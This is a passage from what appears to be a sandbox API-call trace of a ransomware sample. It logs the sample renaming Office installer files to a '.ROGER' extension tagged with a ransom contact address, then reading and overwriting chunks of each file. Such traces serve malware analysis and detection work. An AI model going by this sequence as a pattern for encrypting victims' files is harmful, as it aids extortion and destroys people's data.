users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0046.926] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0046.926] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0x0) returned 1 [0046.926] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.926] ReadFile (in: hFile=0x340, lpBuffer=0x4c90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4c90058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.931] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.931] ReadFile (in: hFile=0x340, lpBuffer=0x4cd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4cd0058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.939] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0046.939] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.939] ReadFile (in: hFile=0x340, lpBuffer=0x4d10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4d10058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.205] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.205] WriteFile (in: hFile=0x340, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x423fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0047.220] SetEndOfFile (hFile=0x340) returned 1 [0047.220] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4f48010 [0047.221] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.221] WriteFile (in: hFile=0x340, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.222] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.222] WriteFile (in: hFile=0x340, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.228] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.228] WriteFile (in: hFile=0x340, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.231] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f48010 | out: hHeap=0x790000) returned 1 [0047.231] CloseHandle (hObject=0x340) returned 1 [0047.231] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0047.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0047.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0047.231] lstrlenW (lpString=".doc") returned 4 [0047.231] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.231] lstrlenW (lpString=".docx") returned 5 [0047.231] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0047.231] lstrlenW (lpString=".pdf") returned 4 [0047.231] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.231] lstrlenW (lpString=".xls") returned 4 [0047.231] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.231] lstrlenW (lpString=".xlsx") returned 5 [0047.231] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0047.232] lstrlenW (lpString=".ppt") returned 4 [0047.232] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0047.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0047.232] lstrlenW (lpString=".zip") returned 4 [0047.232] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.232] lstrlenW (lpString=".rar") returned 4 [0047.232] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.232] lstrlenW (lpString=".bz2") returned 4 [0047.232] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.232] lstrlenW (lpString=".7z") returned 3 [0047.232] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0047.232] lstrlenW (lpString=".dbf") returned 4 [0047.232] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0047.232] lstrlenW (lpString=".1cd") returned 4 [0047.232] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0047.232] lstrlenW (lpString=".jpg") returned 4 [0047.232] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0047.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0047.232] lstrlenW (lpString=".doc") returned 4 [0047.232] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.232] lstrlenW (lpString=".docx") returned 5 [0047.232] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0047.232] lstrlenW (lpString=".pdf") returned 4 [0047.232] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.232] lstrlenW (lpString=".xls") returned 4 [0047.232] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.232] lstrlenW (lpString=".xlsx") returned 5 [0047.233] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0047.233] lstrlenW (lpString=".ppt") returned 4 [0047.233] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0047.233] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0047.233] lstrlenW (lpString=".zip") returned 4 [0047.233] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.233] lstrlenW (lpString=".rar") returned 4 [0047.233] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.233] lstrlenW (lpString=".bz2") returned 4 [0047.233] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.233] lstrlenW (lpString=".7z") returned 3 [0047.233] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.233] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0047.233] lstrlenW (lpString=".dbf") returned 4 [0047.233] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.233] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0047.233] lstrlenW (lpString=".1cd") returned 4 [0047.233] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.233] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0047.233] lstrlenW (lpString=".jpg") returned 4 [0047.233] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.233] lstrcmpiW (lpString1=".msi", lpString2=".ROGER") returned -1 [0047.233] lstrlenW (lpString="Office32WW.msi") returned 14 [0047.233] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0047.234] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=1992192) returned 1 [0047.234] CloseHandle (hObject=0x340) returned 1 [0047.234] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0047.234] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0047.234] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0047.234] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0047.234] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0x0) returned 1 [0047.235] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.235] ReadFile (in: hFile=0x340, lpBuffer=0x4c90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4c90058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.599] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.599] ReadFile (in: hFile=0x340, lpBuffer=0x4cd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4cd0058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.602] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0047.602] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.602] ReadFile (in: hFile=0x340, lpBuffer=0x4d10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4d10058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.618] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.618] WriteFile (in: hFile=0x340, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x423fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0047.923] SetEndOfFile (hFile=0x340) returned 1 [0047.923] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4e800a8 [0047.926] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.926] WriteFile (in: hFile=0x340, lpBuffer=0x4e800a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4e800a8*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.927] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.927] WriteFile (in: hFile=0x340, lpBuffer=0x4e800a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4e800a8*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.931] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.931] WriteFile (in: hFile=0x340, lpBuffer=0x4e800a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4e800a8*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.933] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0047.933] CloseHandle (hObject=0x340) returned 1 [0047.933] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0047.933] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.933] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.933] lstrlenW (lpString=".doc") returned 4 [0047.933] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.933] lstrlenW (lpString=".docx") returned 5 [0047.933] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0047.933] lstrlenW (lpString=".pdf") returned 4 [0047.934] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.934] lstrlenW (lpString=".xls") returned 4 [0047.934] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.934] lstrlenW (lpString=".xlsx") returned 5 [0047.934] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0047.934] lstrlenW (lpString=".ppt") returned 4 [0047.934] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0047.934] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.934] lstrlenW (lpString=".zip") returned 4 [0047.934] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.934] lstrlenW (lpString=".rar") returned 4 [0047.934] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.934] lstrlenW (lpString=".bz2") returned 4 [0047.934] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.934] lstrlenW (lpString=".7z") returned 3 [0047.934] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.934] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.934] lstrlenW (lpString=".dbf") returned 4 [0047.934] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.934] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.934] lstrlenW (lpString=".1cd") returned 4 [0047.934] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.934] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.934] lstrlenW (lpString=".jpg") returned 4 [0047.934] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.934] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.934] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.934] lstrlenW (lpString=".doc") returned 4 [0047.934] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.934] lstrlenW (lpString=".docx") returned 5 [0047.934] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0047.935] lstrlenW (lpString=".pdf") returned 4 [0047.935] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.935] lstrlenW (lpString=".xls") returned 4 [0047.935] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.935] lstrlenW (lpString=".xlsx") returned 5 [0047.935] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0047.935] lstrlenW (lpString=".ppt") returned 4 [0047.935] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0047.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.935] lstrlenW (lpString=".zip") returned 4 [0047.935] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.935] lstrlenW (lpString=".rar") returned 4 [0047.935] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.935] lstrlenW (lpString=".bz2") returned 4 [0047.935] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.935] lstrlenW (lpString=".7z") returned 3 [0047.935] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.935] lstrlenW (lpString=".dbf") returned 4 [0047.935] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.935] lstrlenW (lpString=".1cd") returned 4 [0047.935] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.935] lstrlenW (lpString=".jpg") returned 4 [0047.935] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.935] lstrcmpiW (lpString1=".msi", lpString2=".ROGER") returned -1 [0047.935] lstrlenW (lpString="ProPlusrWW.msi") returned 14 [0047.936] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0047.936] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=27532288) returned 1 [0047.936] CloseHandle (hObject=0x340) returned 1 [0047.936] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi")) returned 0x2020 [0047.936] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0047.936] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0047.937] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0047.937] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0x0) returned 1 [0047.937] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.937] ReadFile (in: hFile=0x340, lpBuffer=0x4c90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4c90058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.940] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.942] ReadFile (in: hFile=0x340, lpBuffer=0x4cd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4cd0058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.947] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0047.947] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.947] ReadFile (in: hFile=0x340, lpBuffer=0x4d10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4d10058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.075] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.075] WriteFile (in: hFile=0x340, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x423fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0048.091] SetEndOfFile (hFile=0x340) returned 1 [0048.356] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4f48010 [0048.359] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.359] WriteFile (in: hFile=0x340, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.359] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.359] WriteFile (in: hFile=0x340, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.363] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.363] WriteFile (in: hFile=0x340, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.365] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f48010 | out: hHeap=0x790000) returned 1 [0048.365] CloseHandle (hObject=0x340) returned 1 [0048.365] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0048.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 